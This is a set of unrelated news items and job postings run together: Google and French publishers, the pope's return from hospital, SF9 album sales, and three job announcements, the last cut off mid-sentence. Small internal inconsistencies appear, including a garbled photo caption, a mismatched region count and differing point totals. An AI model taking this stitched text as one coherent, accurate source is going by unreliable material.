News publishers APIG, SEPM and AFP accuse the tech company of having failed to hold talks in good faith with them to find common ground for the remuneration of news content online, under a recent European Union directive that creates so-called "neighboring rights".



The case itself focused on whether Google breached temporary orders issued by the antitrust authority, which demanded such talks take place within three months with any news publishers that ask for them.



"When the authority decrees an obligation for a company, it must comply scrupulously, both in the spirit and letter (of the decision). Here, this was unfortunately not the case," the antitrust body's chief, Isabelle de Silva, said in a statement. She also said the regulator considered that Google had not acted in good faith in its negotiations with the publishers.



APIG, which represents most major French print news publishers including Le Figaro and Le Monde, remains one of the plaintiffs, even though it signed a framework agreement with Google earlier this year, sources have told Reuters. This framework deal has been put on hold pending the antitrust decision, the sources said.



The framework agreement, which many other French media outlets criticized, was one of the highest-profile deals under Google's "News Showcase" program to provide compensation for news snippets used in search results, and the first of its kind in Europe.



Google agreed to pay $76 million over three years to a group of 121 French news publishers to end the copyright row, documents seen by Reuters showed.



It followed months of bargaining between Google, French publishers and news agencies over how to apply the revamped EU copyright rules, which allow publishers to demand a fee from online platforms showing extracts of their news. (Reuters)


Pope Francis stops to greet police that escorted him as he arrives at the Vatican after leaving the hospital on his Ford, 10 days after undergoing planned surgery to remove half his colon Wednesday. AP-Yonhap



Pope Francis returned to the Vatican on Wednesday, 11 days after undergoing surgery at a Rome hospital to remove part of his colon.



A Reuters witness saw the pope get out of a car after it entered the Vatican gates.



A Vatican source said that before returning to the Vatican, Francis stopped to pray at the Rome Basilica of Santa Maria Maggiore. Francis normally does this at the end of each foreign trip to give thanks to the Madonna.



Earlier, photographers at the Gemelli hospital saw two cars escorted by Vatican security leave via a side entrance shortly before 11.00 a.m. (0900 GMT) after staff had put a wheelchair in the trunk of one of the vehicles.



The first of the two cars had darkened windows.



The 84-year-old pope had part of his colon removed on July 4. On Sunday he made his first public appearance since the surgery, standing for about 10 minutes while speaking from the balcony of his suite.



On Tuesday afternoon, the Vatican released five pictures of the pope during a visit earlier in the day to the children's cancer ward on the same floor as his suite.



They showed the pope seeming in good condition as he walked unassisted along the corridor of the ward, greeting children, parents and doctors. In pictures released on Sunday, he was using a wheelchair when he visited patients.



Francis has no commitments for the rest of the month apart from his Sunday blessing, although the Vatican is proceeding with plans for a papal trip to Slovakia and the Hungarian capital of Budapest in mid-September.



Scotland's bishops on Monday announced that the pope will attend the United Nations Climate Change Conference (COP26) in Glasgow in November, health permitting. He is also expected to visit Malta and Cyprus later the same month. (Reuters)




SF9's "TURN OVER" has obtained the boy group's new highest first-week sales on the Hanteo Chart, and it is twice more than their previous sales with "9loryUS."

On July 5, SF9 made their first comeback since joining Mnet's "Kingdom" with "TURN OVER," a new mini-album featuring six songs, including the title track "Tear Drop."

On July 12, Hanteo Chart released the first-week sales of SF9's "TURN OVER" and it doubled the sales of their previous mini-album, "9loryUS."

SF9 TURN OVER Gains Twice the First Week Sales of 9loryUS

According to Hanteo Chart, SF9's "TURN OVER" not only achieved the group's new highest first-week sales but also their highest sales on the first day.

On the day of the release of SF9's new album, a total of 81,365 copies were already sold on Hanteo. This is the group's best record so far.

Compared to the first-day sales of their previous mini-album, "9loryUS," (which only sold 43,223 copies) SF9's "TURN OVER" gained almost twice more.

After July 5, the boy group went on to sell 13,700 copies on July 6, 3,647 copies on July 7, 1,882 copies on July 8, 27,305 copies on July 9, 3,392 copies on July 10, and 12,678 copies on July 11.

Overall, a total of 143,898 copies were recorded for the first-week sales of SF9's "TURN OVER" on the Hanteo Chart.

This sales figure shows nearly twice the first-week sales of SF9's "9loryUS," which only sold 72,272 copies during the week ending on July 12.

"TURN OVER" is the group's first-ever album to sell 100,000 copies and more on the Hanteo Chart, hence, it is now their best-selling album to date.

This striking achievement only proves SF9's continuous growing popularity over the years.

Congratulations to SF9 on their successful comeback with "TURN OVER"!

SF9 TURN OVER Enters iTunes Charts + Title Track Tear Drop Debuts on Korean Music Charts

SF9's "TURN OVER" is the group's third and final album for their "9lory" series, which captures SF9's will to pioneer a destiny on its own without giving in to the set path.

The album's title track, entitled "Tear Drop," is an emotional dance song with distinct bass sounds and UK garage-style beats. Han Sung Ho wrote the lyrics for the track, along with SF9 members Zuho, Youngbin, and Hwiyoung.

IN CASE YOU MISSED IT: Mnet 'Kingdom' Episode 10: Six Competing Groups Perform New Songs for Finale + Final Winner Announced

Upon its release, SF9's new album landed on iTunes album charts.

SF9's "TURN OVER" ranked inside the Top 3 of the iTunes K-pop Album charts in a total of 10 countries, including the United States, Canada, and Singapore.

The mini-album also ranked inside the Top 5 of the iTunes Album charts in eight regions including Russia, Taiwan, Finland, Czech Republic, the Philippines, Indonesia, Thailand, Hong Kong, Turkey, and Colombia.

Meanwhile, SF9's "Tear Drop" debuted on various Korean music charts. The song landed at No. 13 on Bugs and No. 18 on Genie.

"Tear Drop" also entered the MelOn Latest 24Hits chart, claiming the No. 55 spot. The track also debuted at Nos. 33 and 45 on iChart's real-time and weekly charts, respectively.

For more news updates about other K-Pop news, always keep your tabs open here at Kpopstarz.

Owned by Kpopstarz.

Written by Mhaliya Scott


Accounting Manager SUMMARY Make a difference  change the world! Help bring back eagles, river otters, sea horses, dolphins and more! Not just a 9-5 job. Provide essential support to a fast-paced team making a real difference to improve the environment and leave the world a better place. The Elizabeth River Project seeks a full-time professional to prepare financial reports, assist with development and implementation of annual and capital budgets, process routine payroll and vendor payments, and perform a variety of financial research and analysis. Experience with non-profit accounting and/or fund accounting and grant management preferred. Qualifications: Education: CPA with Bachelors or Masters degree in accounting or in a related field with a concentration in accounting.

Experience: Minimum of 3 years in progressively challenging accounting positions with emphasis on non-profit organization(s).

Prefer experience in one or more of the following: financial statement auditing, fund accounting, cost accounting and expense allocations, management of grants and federal awards, preparation of GAAP-basis financial statements, budgeting and cash-flow forecasting. Skills and abilities Intellectually curious individual with excellent analytical and problem-solving skills.

Detail oriented. Maintains a high degree of accuracy and reliability in work products.

Demonstrates a high degree of personal and professional integrity. Maintains regulatory compliance and effective internal controls through adherence to policies and procedures.

Excellent time-management skills and ability to work in a face-paced environment and meet deadlines.

Ability to communicate effectively and professionally in writing and conversation.

Ability to work autonomously on routine tasks.

Ability to work collaboratively, demonstrating tact and positivity in daily interactions.

Proficiency with full scope general ledger/accounting software. QuickBooks experience preferred.

Proficiency with Microsoft Office including intermediate Excel

Embraces innovation and continuous improvement through creativity and openness to new methods and tools.

Promotes diverse and equitable work environment by modeling sensitivity and inclusivity. Primary Duties Prepares routine monthly financial reports including monthly journal entries, general ledger account reconciliations, internal financial statements, restricted cash analyses and cash flow projections.

Records routine expense transactions, assigning expenses appropriately to grants, programs, and jobs consistent with annual budget and grant or donor restrictions.

Manages routine payroll transactions, including time sheet entry, periodic tax deposits, and quarterly payroll tax reports. Prepares W-2s and related annual tax reports.

Assists with development of annual budget, incorporating multiple programs, grants, contracts, and restricted funds. Monitors budget performance and accountability through generation of budget reports for individual restricted funds and variance analysis.

Assists with annual financial statement audit including preparation of confirmations, account reconciliations and workpapers, and timely submission of requested supporting documents.

Prepares a variety of analyses and reports including, but not limited to: support for annual retirement plan 5500, annual IRS Form 990, insurance audits, regulatory reporting, revenue reports, grant application support, special requests from program managers. Interactions Reports to: Director of Finance

Works with: Accounting and Payroll Assistant, Office Manager

Also interacts with: Executive and Deputy Directors, Development Director, program managers. Limited interactions with general public, vendors, others. Schedule and Work Environment Full-time, 40 hours per week during regular 9-5 office hours in Norfolk office.

Flexibility to vary hours and/or work remotely consistent with ability to manage work requirements, communicate with and support other staff members.

Works indoors. Requires sitting, standing, ability to use a computer, ability to communicate by telephone, some bending and lifting up to 20 pounds. Compensation and Benefits This is a full-time, salaried, exempt position, classified as Level 3-Professional. Competitive salary commensurate with experience. The Elizabeth River Project offers a full range of benefits including paid holidays, vacation, and sick leave; medical, dental, life and disability insurance, and a 403(b) retirement plan. Equal opportunity employer. The Elizabeth River Project encourages diverse candidates to apply and is committed to creating a diverse and inclusive environment. All qualified candidates will be considered without regard to race, color, religion, gender, gender identity or expression, sexual orientation, national origin, genetics, disability, age, or veteran status. Learn more about us at www.elizabethriver.org

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Job Title: Deputy Chief, Contracts & Aquisitions



Office: Office of Resource Strategy



Date Posted: 7/7/2021



Salary Range: 1-5 / $145,708 - $153,088



NTE Date: N/A



Position Overview The mission of the Office of Resource Strategy (ORS) is to align and manage resources across the organization to best meet the needs of our schools and create the conditions for district success. The Office is responsible for facilitating the successful financial and business performance of the district and integrating the district's business and financial interests to ensure an equitable distribution of resources that best serves all students. The Office provides financial strategy and leadership to implement strategic goals and objectives and gives direction to leadership toward the achievement of the District's philosophy, mission, strategy, annual goals, and (see application details) Office also is responsible for ensuring sound business and financial practices are followed in compliance with federal and state regulations, district policy, business policies and procedures, and other applicable financial and business standards and (see application details) Office supports employees throughout the district to ensure DCPS provides high-quality customer service and employee support for all district employees. ORS programs include the following: Employee Services: provide legally-compliant employee services related to benefits and compensation, manage workforce data and systems, and provide world-class customer service within 24 hours;

Contracts & Acquisitions: Support schools and Central Office in purchasing goods in alignment with procurement law and regulation; and

Finance: Ensure school and central office finances are allocated and expended in alignment with the district's strategic plan, in a manner that fosters transparency, maximizes funds, promotes equity, and ensures compliance with requirements. The Contracts & Acquisitions (C&A) division encompasses the Contracts & Acquisitions and Procurement Operations teams. These teams support administrative functions in both the DCPS Central Office and schools. These teams work together to ensure staff and students have the supplies, materials, and support they need to be successful in their work and learning. Managing and facilitating the procurement of goods and services for all DCPS schools and the Central Office, C&A is constantly working to improve practices to ensure compliance with municipal regulations. The Deputy Chief, Contracts & Acquisitions is charged with the overall leadership, implementation, training for, and coordination of all procurement activities in accordance with the laws and regulations of the District of Columbia. Additionally, the Deputy Chief directs the development, coordination, facilitation, management, and milestone planning for the acquisition of goods and services required by DC Public Schools. The Deputy Chief will lead two directors, a manager, and an estimated ten contract specialists in providing excellent service to schools and programs in the processing and fulfillment of both small and complex contracts. The Deputy Chief, Contracts & Aquisitions will report to the Resource Strategy Officer. Essential Duties and Responsibilities The below statements are intended to describe the general nature and scope of work being performed by this position. This is not a complete listing of all responsibilities, duties, and/or skills required. Other duties may be assigned. Charged with enabling DCPS to achieve its mission and vision through the overall leadership, implementation, and coordination of agency procurement activities in accordance with the laws and regulations of the District of Columbia.

Designs and drives agency practice with respect to procurement, including developing planning tools, providing a feedback loop for procurement customers, and managing a procurement calendar that serves to drive efficient and effective practice.

Demonstrates and expects a customer service orientation and responsiveness to the needs of schools throughout the procurement division.

Leads and manages the overall supervision and operation of an organizational unit of two directors, a manager, and an estimated ten contract specialists.

Maintains a focus on skill development and training for the agency regarding procurement matters to build capacity across the organization that evolves with agency requirements and feedback.

Serves as an expert on procurement policy and procedural matters affecting the contracting process, and consults with programs and schools as needed.

Negotiates contracts with selected vendors and ensures the best possible price and terms for the District.

Advises senior management with respect to all procurement issues and the nature of corrective actions, including regulatory landscape, impact of new legislation, best practices, and agency opportunities.

Manages fiscal, legal, and audit risk for the agency as it relates to the contracting process.

Manages strategic sourcing of supplies and services to foster negotiated savings to DCPS.

Manages and implements legal, compliance, and regulatory updates to the procurement procedures and ensures staff is trained on the updates.

Leads the overall enhancement and change management of Contracts & Acquisitions operations.

May assist with the development, preparation, and administration of the annual budget for the division and recommend the most cost-effective and efficient strategies to accomplish the objectives of the agency. Qualifications Bachelor's degree and eight to twelve years of related work experience.

Master's degree strongly preferred.

Previous exposure to or experience in the education sector a plus.

Experience managing a wide range of contracts across dollar values and contracting vehicles.

Demonstrated knowledge and understanding of the District of Columbia procurement laws and regulations; and knowledge of federal, state, and local laws strongly desired.

Demonstrated participation in a professional procurement organization, achievement of a recognized professional procurement certification or academic certificate, i.e., Certified Purchasing Manager (CPM), Certified Professional In Supply Management (CPSM), Certified Public Purchasing Officer (CPPO), Certified Professional Public Buyer (CPPB), Defense Acquisition Workforce Improvement Act (DAWIA) Level II or III, Certified Federal Contracts Manager (CFCM), Certified Professional Contracts Manager (CPCM), etc.

Skill in managerial and supervisory responsibilities with regard to personnel management, including leadership and motivational skills.

Demonstrated excellent verbal and written communication skills.

DCPS Values STUDENTS FIRST : We recognize students as whole children and put their needs first in everything we do.

: We recognize students as whole children and put their needs first in everything we do. COURAGE : We have the audacity to learn from our successes and failures, to try new things, and to lead the nation as a proof point of PK-12 success.

: We have the audacity to learn from our successes and failures, to try new things, and to lead the nation as a proof point of PK-12 success. EQUITY : We work proactively to eliminate opportunity gaps by interrupting institutional bias and investing in effective strategies to ensure every student succeeds.

: We work proactively to eliminate opportunity gaps by interrupting institutional bias and investing in effective strategies to ensure every student succeeds. EXCELLENCE : We work with integrity and hold ourselves accountable for exemplary outcomes, service, and interactions.

: We work with integrity and hold ourselves accountable for exemplary outcomes, service, and interactions. TEAMWORK : We recognize that our greatest asset is our collective vision and ability to work collaboratively and authentically.

: We recognize that our greatest asset is our collective vision and ability to work collaboratively and authentically. JOY: We enjoy our collective work and will enthusiastically celebrate our success and each other.




USAID Burkina Job Announcement Democracy Governance & Conflict Advisor-GS-14 RE-SOLICITATION NUMBER: 72068520R00011-0001 ISSUANCE DATE: June 30, 2021 CLOSING DATE AND TIME: July 20, 2021- 11:59 p.m. (GMT) SUBJECT: Re-solicitation for a U.S. Citizen /Third Country National Personal Service Contractor (US/TCN PSC)- Democracy, Governance and Conflict Advisor Burkina Faso Dear Prospective Offerors: The United States Government, represented by the U.S. Agency for International Development (USAID), is seeking offers from U.S. citizens qualified to provide personal services under contract as described in this re-solicitation. Offers must be in accordance with Attachment 1, Sections I through VIII of this re-solicitation. Incomplete or unsigned offers will not be considered. Offerors should retain copies of all offer materials for their records. This re-solicitation in no way obligates USAID to award a PSC contract, nor does it commit USAID to pay any cost incurred in the preparation and submission of the offers. Any questions must be directed in writing to the Point of Contact specified in the attached information. Sincerely, Rodney Stubina, PhD Acting Supervisory Regional Executive Officer ATTACHMENT 1 GENERAL INFORMATION 1. RE-SOLICITATION NUMBER: 72068520R00011-0001 2. ISSUANCE DATE: June 30, 2021 3. CLOSING DATE AND TIME FOR RECEIPT OF OFFERS: July 20, 2021- 11:59 p.m. (GMT) 4. POINT OF CONTACT: Recruitment team, (see application details) 5. POSITION TITLE: Democracy, Governance and Conflict Advisor 6. MARKET VALUE: GS-14 ($93,907 - $122,077 per annum) (Final compensation will be negotiated within the listed market value.) 7. PERIOD OF PERFORMANCE: Immediate upon receipt of security/medical clearances (The duration of the US Personal Services Contract will be for one (1) year, with four one-year option periods, subject to satisfactory performance, availability of funds and continuing need for the position.) Level of effort is full time (40 hours per week). Base Period: o/a September 1, 2021 to August 31, 2022 Option Period 1: o/a September 1, 2022 to August 31, 2023 Option Period 2: o/a September 1, 2023 to August 31, 2024 Option Period 3: o/a September 1, 2024 to August 31, 2025 Option Period 4: o/a September 1, 2025 to August 31, 2026 8. PLACE OF PERFORMANCE: US Embassy/USAID compound in Ouagadougou, Burkina Faso. 9. ELIGIBLE OFFERORS: United States Citizens and Third Country Nationals are eligible offerors. TCNPSC under this re-solicitation are eligible for benefits in accordance with AIDAR Appendix J, sec. 4(c)(2)(ii)(B)). An exception has been approved by the Mission Director in accordance with AIDAR Appendix J and ADS 309maa, requesting Approval to Use Alternate Classification Procedures (ACP). 10. SECURITY LEVEL REQUIRED: Facility Access for USPSC -TCN The final selected offeror must obtain both the appropriate level of security and medical clearances within a reasonable period (USAID will provide details regarding these clearances to the selected offeror). If such clearance is not obtained within a reasonable time or negative suitability issues are involved, any offer made may be rescinded. 11. STATEMENT OF DUTIES: COUNTRY BACKGROUND USAID/Burkina Faso Country Office is seeking a Democracy, Rights, Governance and Conflict Advisor who will support the design, implementation and monitoring of its Democracy, Rights and Governance and Countering Violent Extremism (DRG/CVE) programs. Burkina is on the front lines of a Sahel region-wide struggle against encroaching violent extremist organizations, so this position is an opportunity to make a difference in a difficult security and development context that is important for the whole West African region. USAID's DG and CVE work is vital to this effort and includes elections, human rights, governance, civil society, and CVE activities. The Country Office works closely with the Government of Burkina Faso (GoBF), inter-agency partners, other donors, implementers and civil society. USAID/Burkina Faso reports to USAID Senegal and is supported by that Mission's Sahel Regional Office (SRO). The Advisor will also work closely with USAID West Africa's Regional Peace and Governance Office (WA). POSITION DESCRIPTION The Democracy Governance and Conflict Advisor will serve as USAID's expert and advisor on a range of issues such as governance, transparency, human rights, civil society, elections, and conflict prevention. The Advisor will have a general understanding of democracy and governance and its cross sectoral applications. The incumbent should also have specific technical expertise in at least three of the following: regulatory and policy frameworks; public administration and accountability; civil society strengthening and engagement including in advocacy and oversight; multi-stakeholder collective action for improved public service delivery; conflict prevention and peace building including counter-violent extremism approaches; local governance and service delivery; elections and legislative processes; gender and social inclusion; and/or youth development. The Advisor should be highly motivated, capable of working independently and also as part of a dynamic team. This Advisor will participate as a key member of the USAID Country Office team and liaise with staff from other technical offices in the regional USAID West Africa mission in Accra or the Sahel Regional Office in Dakar. S/he collaborates with other USAID technical and support offices and operates within a complex, fluid political environment and with officials in the United States Government (USG) and the Government of Burkina Faso. The Advisor oversees DRG and Conflict programs in Burkina Faso independently or in collaboration with USAID West Africa or SRO. The Advisor will participate in or lead the design of new activities based on USAID requirements and availability of funding. The Advisor ensures that these programs are effectively implemented in the field and in accordance with the USAID contract/agreement and the approved annual work plan. S/he will also provide technical advice to other USAID teams on DG/Conflict as it relates to other sectors, including USAID as related to resilience activities in Burkina Faso (e.g. health, education, agriculture, environment, etc). The DG Advisor maintains close communication with GOBF officials and relevant stakeholders for effective program management. The DG team relies upon the Advisor's technical advice and networking expertise with Government of Burkina Faso ministries as well as local authorities to strengthen USAID assistance. The Advisor also communicates regularly with donors, civil society organizations, universities, through multi-stakeholder forums, donor meetings and other functions as appropriate to maintain current sector knowledge relevant to programs managed by the Advisor. SPECIFIC DUTIES AND RESPONSIBILITIES Program Management and Oversight (50%) Leads or assists in management, oversight, and monitoring of USAID-funded DG/Conflict projects, as assigned.

Assists in the design and development of new activities as needed and ensures that new interventions are consistent with DG strategic objectives, and/or USG strategies.

Independently evaluates annual work plans for DRG activities, and other activities as needed, making programmatic adjustments when required.

Monitors, evaluates, and analyzes implementation of DRG projects, closely coordinating with the grantee(s)/contractor(s) on the results and outcomes.

Provides analysis of evaluations, performance data and reporting documents.

Performs regular field-level project monitoring, oversight, and other program-related local travel. Serves as an expert resource and/or technical Advisor on a range of DRG issues. Communication (35%) Prepares and updates briefing papers, reports and press releases as assigned as well as specialized documents as needed.

Meets with government, civil society, private institutions, and other donor representatives, to provide issue-oriented briefings and presentations as needed.

Represents USAID at inter-agency and external technical working groups, workshops, and conferences.

Maintains intimate knowledge of DG project objectives, accomplishments, and development impacts to synthesize in writing or orally for meetings, speeches, background papers and other USAID reporting requirements.

Interprets and advises USAID Burkina Faso and U.S. Embassy Ouagadougou on GOBF policies, institutional issues and program priorities affecting the direction and implementation of DG programs.

Informs Country Representative and relevant SRO and USAID West Africa colleagues about political events that affect program implementation and impact DG activities. Financial Management and Procurement (15%) Assists in the development and/or technical review of project budgets.

Tracks the financial status and expenditures of DRG activities and recommends future incremental funding.

Maintains complete and auditable financial records for activities managed.

Maintains complete and auditable files of all procurement documents (contracts, grants and other procurement supporting documents) meeting USG requirements. The job may be expected to perform work-related travel. Supervision Received: The immediate supervisor of this position will be the USAID Country Representative in the USAID Burkina Faso Country Office. The supervisor sets the overall objectives and resources available. The incumbent has responsibility for independently planning, designing, and carrying out programs, projects, studies or other work. The incumbent keeps the supervisor informed of progress and potentially controversial matters. Supervision Exercised: Supervises one Cooperating Country National Personal Service Contract Democracy, Rights and Governance Specialist. 12. PHYSICAL DEMANDS: The work requested does not involve undue physical demands. MINIMUM QUALIFICATIONS REQUIRED FOR THIS POSITION Master's Degree in political science, law, human rights, conflict, governance or other relevant field.

Evidence that applicant is actively engaged in maintaining an updated knowledge/skill set in the advancement of theory and practice in the relevant field.

At least seven years of progressively responsible experience in the design and management of development and/or humanitarian programs, at least three of which have included specific and extensive involvement in conflict prevention, mitigation and management, democracy and good governance advancement, human rights, and working with or supporting civil society.

Prior work experience in the design or management of cross sectoral governance, civil society strengthening, conflict, countering violent extremism, election support, and/or public administration and accountability. EVALUATION AND SELECTION FACTORS The Government may award a contract without discussions with offerors in accordance with FAR 52.215-1. The CO reserves the right at any point in the evaluation process to establish a competitive range of offerors with whom negotiations will be conducted pursuant to FAR 15.306(c). In accordance with FAR 52.215-1, if the CO determines that the number of offers that would otherwise be in the competitive range exceeds the number at which an efficient competition can be conducted, the CO may limit the number of offerors in the competitive range to the greatest number that will permit an efficient competition among the most highly rated offers. The FAR provisions referenced above are available at https://www.acquisition.gov/browse/index/far. Selection Process After the closing date for receipt of application, a committee will convene to review applications that meet the minimum requirements and evaluate them in accordance with the evaluation criteria. Applications from offerors who do not meet the minimum requirements will not be scored. As part of the selection process, finalist offerors will be interviewed. Reference checks will be made only for applicants considered as finalists. The applicant's references must be able to provide substantive information about his/her performance and abilities. Evaluation Factors The following factors will be the basis for the evaluation of applications meeting the required minimum qualifications. All applications will be evaluated based on the documentation submitted with the application. USAID reserves the right to contact your previous employers for relevant information concerning your performance and may consider such information in its evaluation. The highest-ranking applicants may be selected for an interview. Education (10 points): A Master's Degree in political science, law, human rights, conflict-related field, governance or other relevant field. Work Experience (35 points): The Advisor must have at least seven (7) years of progressively responsible managerial and/or project management experience including at least three years' experience providing development assistance in three or more of the following areas: legal, regulatory, and policy frameworks; public administration and accountability; civil society strengthening and engagement, including in advocacy and oversight; multi-stakeholder collective action for improved public service delivery; conflict prevention and peace building, including countering violent extremism; local governance and service delivery; elections and legislative processes; human rights and access to justice; gender and social inclusion; and youth. Must have prior work or consultative experience with USAID or other bilateral or multilateral development agencies. Knowledge (20 points): The Advisor should have demonstrated broad technical knowledge of three or more of the following areas related to USAID's country strategy: regulatory and policy frameworks; public administration and accountability; civil society strengthening and engagement, including in advocacy and oversight; multi-stakeholder collective action for improved public service delivery; conflict prevention and peace building, including countering violent extremism; local governance and service delivery; elections and legislative processes; human rights and access to justice; gender and social inclusion; and youth.

S/he must demonstrate strong knowledge of project or program management and organizational management, as well as of NGO and USG operations.

The Advisor must also possess knowledge of existing DG-related policies, with a demonstrated understanding of how these policies impact other sectors. Abilities and Skills (35 points): The applicant should be able to demonstrate the following abilities and skills: Strong organizational skills, self-motivation, and the ability to work independently with little supervision.

Excellent communication, presentation and inter-personal skills.

Rigorous analytical skills and ability to transfer technical DRG knowledge into activity designs, reporting, policy papers, and other documents for internal and external audiences.

Ability to communicate DRG integration to Specialist staff from other technical sectors for improved programming.

Ability to work in a team environment and across USAID offices and other agencies at post.

Ability to manage large, complex development assistance projects.

Capacity to prepare technical and analytical documents in English with little editing.

Ability to develop and maintain high level contacts (GOBF, donors, civil society, local bodies) and productive working relationships with other counterparts.

Ability to work effectively under pressure and demonstrate flexibility to manage more than one activity at a time.

Strong computer skills to conduct work using MS Word, Excel and Power Point and the ability to learn USAID software and computer programs.

Ability to communicate the democracy and governance policies, program objectives, and analysis of USAID Burkina Faso, USAID/Senegal/SRO and USAID/West Africa at meetings with outside stakeholders.

Ability to orient, train, and supervise CCNPSC personnel. Evaluation Summary Work Experience: 40 points Knowledge: 20 points Skills and Abilities: 40 points Total Possible Points: 100 points In order to be considered for the position, an offeror must meet the Minimum Qualifications listed above. Consideration and selection will be based on a panel evaluation of the Evaluation Factors. PLEASE NOTE THAT ONLY SHORTLISTED APPLICANTS WILL BE CONTACTED OR INTERVIEWED. PAST PERFORMANCE/PROFESSIONAL REFERENCE CHECKS Applicants must provide no less than five (5) references with current contact information, preferably both an email address and a telephone number. The references will be asked to provide a general assessment of the applicant's suitability for the position. It is the responsibility of the applicant to ensure submitted references are available to provide a written or verbal reference in a timely manner. In addition to comments from references, the Selection Committee will take into account awards or other evidence of outstanding performance in any areas related to the above selection criteria. USAID/Senegal reserves the right to obtain from previous employers relevant information concerning the applicant's past performance and may consider such information in its evaluation. USAID policy specifies that U.S. citizens or resident aliens (U.S.Ns) are preferred over Third Country Nationals (TCNs). Therefore, USN and TCN offers will not be evaluated together. USAID will evaluate USN offers first and if the CO determines that there are no qualified USNs, only then will USAID evaluate TCN offers. Security and Medical Clearance Requirements The applicant selected to fill this position must be able to obtain a Facility Access Authorization and must also receive a Worldwide Availability Medical Clearance (WWA/Class 1). Details of how to obtain such clearance will be provided after selection and acceptance of the job offer. A substantial delay in obtaining either required clearance will make the applicant ineligible for selection. Compensation This position has been classified at GS-14 grade. For USPSC, the actual salary of the successful applicant will be negotiated within that pay band depending on qualifications and previous earnings history. For TCNPSC, the actual salary of the successful applicant will be negotiated based on approved Alternate Classification Procedures and benefits in accordance with AIDAR Appendix J, sec. 4(c)(2)(ii)(B)). AREA OF CONSIDERATION: OPEN TO U.S. CITIZENS AND THIRD COUNTRY NATIONALS USAID policy specifies that U.S. citizens or resident aliens (USNs) are preferred over third country nationals (TCNs). Therefore, USN and TCN offers will not be evaluated together. USAID will evaluate USN offers first and if the CO determines that there are no qualified USNs, only then will USAID evaluate TCN offers. For USPSC: Be a U.S. Citizen;

Submit a complete application as outlined in the solicitation section titled SUBMITTING AN OFFER (Section IV);

Be able to obtain a Facility Access Authorization;

Be able to obtain a Department of State issued Medical Clearance;

Be willing/able to travel to work sites and other offices as/when requested;

Employment is subject to funds availability and all required approvals/clearances obtained. For TCNPSC :

Be a Third Country National. Third Country National means an individual: (1) Who is neither a citizen nor a permanent legal resident of the United States nor of the country to which assigned for duty (Burkina Faso); and (2) Who is eligible for return to his/her home country or country of recruitment at U.S. Government expenses;

Submit a complete application as outlined in the section titled SUBMITTING AN OFFER (Section IV);

Be able to obtain a required Facility Access Authorization;

Be able to obtain a Department of State issued Medical Clearance;

Be willing/able to travel to work sites and other offices as/when requested;

Employment is subject to funds availability and all required approvals/clearances obtained. If a TCNPSC is selected for award, during the period of this contract, the TCNPSC contractor will be required to train a CCNPSC identified by USAID in his/her recognized Technical Area of Expertise. The Supervisor will establish a structured training plan for the TCNPSC with a work objective and performance benchmarks to measure the contractor's progress toward achieving this required training deliverable. SUBMITTING AN OFFER Offers must be received by the closing date and time at the address specified in Section I, item 3, and submitted electronically to: (see application details) with the Solicitation number in the application submission . Likewise, applications that have unsigned forms will also not be considered. Qualified applicants are required to submit: 1. A signed and dated Cover letter with current resume/curriculum vitae (CV) attached . The CV/resume must contain sufficient relevant information to evaluate the application in accordance with the stated evaluation criteria. Broad general statements that are vague or lacking specificity will not be considered as effectively addressing particular selection criteria. 2. Applicants must provide no less than five (5) references who are not family members or relatives. References should be from direct supervisors who can provide information regarding the applicant's job knowledge and professional work experience. Applicants must provide e-mail addresses and/or working telephone numbers for all references. 3. Offeror Information for Personal Services Contracts form AID 309-2 which can be found at http://www.usaid.gov/forms/. Applicants should note that the salary history for the purposes of the AID 309-2 is the base salary paid, excluding benefits and allowances such as housing, travel, educational support, etc. Offerors are required to complete and sign the AID 309-2 form . No substitute AID form will be accepted. ALL DOCUMENTS MUST BE SUBMITTED IN ENGLISH AND ALL DOCUMENTS SHOULD BE SUBMITTED AS ONE COMPLETE PACKAGE. NOTE: This position requires the submission of complete forms and/or supplemental materials as described above. Failure to provide the required information and/signed documents will result in the applicant not being considered for employment . Applicants are required to sign and date both the Cover Letter and a completed USAID AID 309-2 form . LIST OF REQUIRED FORMS FOR PSC HIRES Once the Contracting Officer (CO) informs the successful applicant about being selected for a contract award, the CO will provide the successful applicant instructions about how to complete and submit the following forms: Forms outlined below can found at: http://www.usaid.gov/forms 1. Medical History and Examination form (DS-6561) 2. Questionnaire for Sensitive Positions (for National Security) (SF-86), or Questionnaire for Non-Sensitive Positions (SF-85) 3. Fingerprint Card (FD-258) 4. Declaration for Federal Employment (OF-306) BENEFITS/ALLOWANCES (if/as applicable) As a matter of policy, and as appropriate, a USPSC is normally authorized the following benefits and allowances: Temporary Quarter Subsistence Allowance (Section 120) Living Quarters Allowance (Section 130) Cost-of-Living Allowance (Chapter 210) Post Allowance (Section 220) Separate Maintenance Allowance (Section 260) Education Allowance (Section 270) Education Travel (Section 280) Post Differential (Chapter 500) Payments during Evacuation/Authorized Departure (Section 600), and Danger Pay Allowance (Section 650) As a matter of policy, and as appropriate, an offshore TCNPSC is normally authorized the following allowances: Post Differential (Section 500) Post Allowance (COLA) (Section 220) Payments During Evacuation (Section 600) Education Allowance (Section 270) Separate Maintenance Allowance (Section 260) Educational Travel (Section 280) TAXES USPSCs are required to pay Federal income taxes, Medicare and applicable State Income taxes. TCNPSCs are subject to an individual's country tax laws and should follow tax requirement of their country of origin. USAID REGULATIONS, POLICIES AND CONTRACT CLAUSES PERTAINING TO PSCs USAID regulations and policies governing USPSC awards are available at these sources: 1. USAID Acquisition Regulation (AIDAR), ( available at https://www.usaid.gov/sites/default/files/documents/1868/aidar_0.pdf Appendix D, "Direct USAID Contracts with a U.S. Citizen or a U.S. Resident Alien for Personal Services Abroad," including contract clause "General Provisions". Appendix J, "Direct USAID Contracts with a Third Country National for Personal Services Abroad," including contract clause "General Provisions". 2. Contract Cover Page form AID 309-1 available at https://www.usaid.gov/forms. 3. Acquisition and Assistance Policy Directives/Contract Information Bulletins ( AAPDs/CIBs ) for Personal Services Contracts with Individuals available at http://www.usaid.gov/work-usaid/aapds-cibs. 4. Ethical Conduct . By the acceptance of a USAID personal services contract as an individual, the contractor will be acknowledging receipt of the " Standards of Ethical Conduct for Employees of the Executive Branch, " available from the U.S. Office of Government Ethics, in accordance with General Provision 2 and 5 CFR 2635 . See https://www.oge.gov/web/oge.nsf/OGE%20Regulations. 5. PSC Ombudsman The PSC Ombudsman serves as a resource for any Personal Services Contractor who has entered into a contract with the United States Agency for International Development and is available to provide clarity on their specific contract with the agency. Please visit our page for additional information: https://www.usaid.gov/work-usaid/personal-service-contracts-ombudsman. The PSC Ombudsman may be contacted via: (see application details). Equal Employment Opportunity Policy The United States Government does not discriminate in employment on the 